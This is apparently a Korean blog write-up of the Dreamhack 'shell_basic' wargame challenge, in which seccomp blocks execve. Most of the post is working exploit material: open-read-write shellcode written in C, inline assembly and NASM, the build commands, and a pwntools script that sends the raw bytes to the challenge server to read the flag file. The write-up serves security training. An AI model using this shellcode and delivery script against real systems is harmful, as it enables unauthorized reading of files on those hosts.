[Dreamhack]SystemHacking/λ‘œλ“œλ§΅_Basic

[Dreamhack] Level2: shell_basic

Yun2πŸ‘ 2023. 8. 22. 02:04
λ°˜μ‘ν˜•

πŸ›ŽοΈAccess

μž…λ ₯ν•œ μ…Έμ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” ν”„λ‘œκ·Έλž¨μ΄ μ„œλΉ„μŠ€λ‘œ λ“±λ‘λ˜μ–΄ μž‘λ™ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.
main ν•¨μˆ˜κ°€ μ•„λ‹Œ λ‹€λ₯Έ ν•¨μˆ˜λ“€μ€ execve, execveat μ‹œμŠ€ν…œ μ½œμ„ μ‚¬μš©ν•˜μ§€ λͺ»ν•˜λ©°, 풀이와 관련이 μ—†μŠ΅λ‹ˆλ‹€.
flag 파일의 μœ„μΉ˜μ™€ 이름은 /home/shell_basic/flag_name_is_loooooongμž…λ‹ˆλ‹€.

 

 

πŸ‘Ύ Exploit Algorithm & Payload

더보기
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

 

 

#1


#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>

int main(void){
	int fd;
    char buf[0x30];
    
    fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, 0);
    read(fd, buf, 0x30);
    write(1, buf, 0x30);
}

: execve μ‹œμŠ€ν…œ μ½œμ„ μ‚¬μš©ν•˜μ§€ λͺ»ν•œλ‹€λŠ” 문제λ₯Ό 보고 orw μ‰˜ μ½”λ“œλ₯Ό μž‘μ„±ν•΄μ„œ '/home/shell_basic/flag_name_is_loooooong' κ²½λ‘œμ— μžˆλŠ” flag νŒŒμΌμ„ μ—΄λžŒν•˜λŠ” λ¬Έμ œμž„μ„ μ§μž‘ν–ˆλ‹€.

: orw(Open-Read-Write) μ‰˜ μ½”λ“œλ₯Ό μž‘μ„±ν•˜κΈ° 전에 cμ–Έμ–΄λ‘œ λ™μž‘μ€ λ‹€μŒκ³Ό κ°™λ‹€.

 

 

#2


: λ™μž‘ 확인 ν›„ μŠ€μΌˆλ ˆν†€ μ½”λ“œλ‘œ orw μ½”λ“œμ˜ λΌˆλŒ€λ₯Ό μž‘μ„±ν•˜μ˜€λ‹€.

더보기

__asm__(
".global run_sh\n"
"run_sh:\n"

"xor rax, rax\n"
"push rax #NULL(=0)\n"
"mov rax, 0x676e6f6f6f6f6f6f #'oooooong'\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61  #'ame_is_l'\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63 #'c/flag_n'\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65 #'ell_basi'\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f #'/home/sh'\n"
"push rax\n"
"mov rdi, rsp #rdi=rsp; rdi='/home/shell_basic/flag_name_is_loooooong'\n"
"xor rsi, rsi #rsi=0\n"
"xor rdx, rdx #rdx=0\n"
"mov rax, 0x02 #rax=2; rax=sys_open\n"
"syscall #open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
"\n"

"mov rdi, rax       #rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30      #rsi = rsp-0x30; rsi=buf\n"
"mov rdx, 0x30      #rdx = 0x30; rdx=len\n"
"mov rax, 0x0       #rax = 0; rax=syscall_read\n"
"syscall            #read(fd, buf, 0x30)\n"
"\n"

"mov rdi, 1         #rdi = 1; fd = stdout\n"
"mov rax, 0x1       #rax = 1; rax=syscall_write\n"
"syscall            #write(fd, buf, 0x30)\n"
"\n"

"xor rdi, rdi       #rdi = 0\n"
"mov rax, 0x3c     #rax = sys_exit\n"
"syscall     #syscall(rax,rdi)exit(0)"
);

 

void run_sh();

int main() { run_sh(); }

 

더보기

; File name: exploit.asm

section .text
global _start

_start:
;open
xor rax, rax
push rax ;NULL(=0)
mov rax, 0x676e6f6f6f6f6f6f ;oooooong
push rax
mov rax, 0x6c5f73695f656d61 ;ame_is_l
push rax
mov rax, 0x6e5f67616c662f63 ;c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ;ell_basi
push rax
mov rax, 0x68732f656d6f682f ;/home/sh
push rax
mov rdi, rsp ;rdi=rsp ;rdi=/home/shell_basic/flag_name_is_loooooong
xor rsi, rsi ;rsi=0
xor rdx, rdx ;rdx=0
mov rax, 0x02 ;rax=2 ;rax=sys_open
syscall ;open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)

;read
mov rdi, rax ;rdi = fd
mov rsi, rsp
sub rsi, 0x30 ;rsi = rsp-0x30 ;rsi=buf
mov rdx, 0x30 ;rdx = 0x30 ;rdx=len
mov rax, 0x00 ;rax = 0 ;rax=syscall_read
syscall ;read(fd, buf, 0x30)

;write
mov rdi, 0x01 ;rdi = 1 ;fd = stdout
mov rax, 0x01 ;rax = 1 ;rax=syscall_write
syscall ;write(fd, buf, 0x30)

;exit 
xor rdi, rdi ;rdi = 0
mov rax, 0x3c ;rax = sys_exit
syscall ;exit(rax,rdi)

 

: orw μ½”λ“œλŠ” λ‹€μŒκ³Ό 같이 μž‘μ„±ν–ˆλ‹€.

: '/home/shell_basic/flag_name_is_loooooong'의 λ¬Έμžμ—΄μ„ ASCII -> 16μ§„μˆ˜ λ³€ν™˜(리틀 μ—”λ””μ–Έ λ°©μ‹)으둜 λ³€ν™˜ν•˜μ—¬ stack에 λ„£μ–΄μ£Όμ—ˆλ‹€.

β€»stack push λ‚΄λΆ€ μˆœμ„œ → /home/sh  ell_basi c/flag_n ame_is_l oooooong \x00 )

β€»stack pop λ‚΄λΆ€μˆœμ„œ  /home/sh ell_basi c/flag_n ame_is_l oooooong \x00 )

open ν•¨μˆ˜λ₯Ό syscall을 ν†΅ν•΄ ν˜ΈμΆœν•œλ‹€.
: read ν•¨μˆ˜λ₯Ό 0x30만큼 μ½μ–΄ μ§€μ—­λ³€μˆ˜ buf에 μ €μž₯ν•œλ‹€.
write ν•¨μˆ˜λ₯Ό syscall을 ν†΅ν•΄ write ν•¨μˆ˜ μ‚¬μš©ν•œλ‹€.
: λ§ˆμ§€λ§‰μœΌλ‘œ ν”„λ‘œκ·Έλž¨μ„ μ’…λ£Œμ‹œν‚¬ exit ν•¨μˆ˜ μ‚¬μš©ν•œλ‹€.

 

 

#3


$ nasm -f elf64 exploit.asm
$ objdump -d exploit.o
$ objcopy --dump-section .text=exploit.bin exploit.o

: asm νŒŒμΌμ„ .o파일(컴파일)ν™” μ‹œν‚€κΈ° μœ„ν•΄ nasm λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν–ˆλ‹€.

: objcopy λͺ…령을 μ‚¬μš©ν•˜μ—¬ objdumpλ₯Ό byte code(opcode)의 ν˜•νƒœλ‘œ μΆ”μΆœν–ˆλ‹€.

: μΆ”μΆœ ν›„ μ„œλ²„λ‘œ μ…Έ μ½”λ“œλ₯Ό νšλ“ν•  수 μžˆλ‹€.

 

πŸ”‘Analysis and results for obtaining the Flag DH{…}


더보기

from pwn import *
  
r = remote("host3.dreamhack.games", 17047)
 
shellcode = b"\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"  

 

r.sendafter(b": ", shellcode)
r.interactive()

+ μΆ”κ°€λ‘œ python λͺ¨λ“ˆ pwntoolsλ‘œλ„ FLAGλ₯Ό νšλ“ν•  수 μžˆλ‹€.

 

 

πŸ“ŒSummary


κ³΅κ²©μžκ°€ μ‰˜ μ½”λ“œλ₯Ό μ΄μš©ν•˜λ©΄ ν•΄λ‹Ήλ˜λŠ” μ½”λ“œλŠ” 정상적인 λ™μž‘μ„ ν•˜μ§€ μ•Šμ„ 수 있음

ν•΄λ‹Ή μ½”λ“œμ˜ rip이 κ³΅κ²©μžκ°€ μž‘μ„±λœ μ…€ μ½”λ“œλ‘œ μ΄λ™λ˜μ–΄ μ˜λ„λœ μ—„μ…ˆλΈ”λ¦¬ μ½”λ“œκ°€ 싀행될 수 있음

λ˜ν•œ μ–΄μ…ˆλΈ”λ¦¬μ–΄λŠ” 기계어와 거의 μΌλŒ€μΌ λŒ€μ‘λ˜λ―€λ‘œ μ›ν•˜λŠ” λͺ¨λ“  λͺ…령을 CPU에 내릴 수 있게 됨

 

mmap μ‚¬μš©: μ½”λ“œμ—μ„œ mmap을 μ‚¬μš©ν•˜μ—¬ μ‰˜μ½”λ“œλ₯Ό ν• λ‹Ήν•˜κ³  ν•΄λ‹Ή λ©”λͺ¨λ¦¬λ₯Ό μ‹€ν–‰ κ°€λŠ₯ν•œ λ©”λͺ¨λ¦¬λ‘œ μ„€μ •
μ‰˜μ½”λ“œκ°€ μ‹€ν–‰λ˜λ„둝 ν•˜λŠ” λ°©λ²•이며, μ•…μš©λ  κ²½μš° λ³΄μ•ˆμ— μ·¨μ•½ν•  μˆ˜ μžˆμŒ

seccomp μ„€μ •: banned_execve() ν•¨μˆ˜μ—μ„œ libseccomp을 μ‚¬μš©ν•˜μ—¬ execve λ° execveat μ‹œμŠ€ν…œ μ½œμ„ μ°¨λ‹¨
κ·ΈλŸ¬λ‚˜ μ΄κ²ƒλ§ŒμœΌλ‘œλŠ” λͺ¨λ“  κ³΅κ²©μ„ μ™„λ²½ν•˜κ²Œ λ§‰μ„ μˆ˜ μ—†μŒ

버퍼 μ˜€λ²„ν”Œλ‘œμš° κ°€λŠ₯μ„±: read(0, shellcode, 0x1000);μ—μ„œ μ‚¬μš©μž μž…λ ₯이 λ©”λͺ¨λ¦¬ ν• λ‹Ή ν¬κΈ°λ₯Ό μ΄ˆκ³Όν•  κ²½μš° λ²„퍼 μ˜€λ²„ν”Œλ‘œμš°κ°€ λ°œμƒν•  μˆ˜ μžˆμŒ

...

 

λ”°λΌμ„œ 정적 뢄석 및 μ½”λ“œ κ²€ν† λ₯Ό μ² μ €νžˆ μˆ˜ν–‰ν•˜κ³ , 배포 전에 취약점을 식별할 수 μžˆλ„λ‘ ν•΄μ•Όν•˜λ©° κ°λ³„νžˆ μ—¬λŸ¬ λΆ€λΆ„μ—μ„œ μ£Όμ˜ν•΄μ•Ό 함

 

 

λ°˜μ‘ν˜•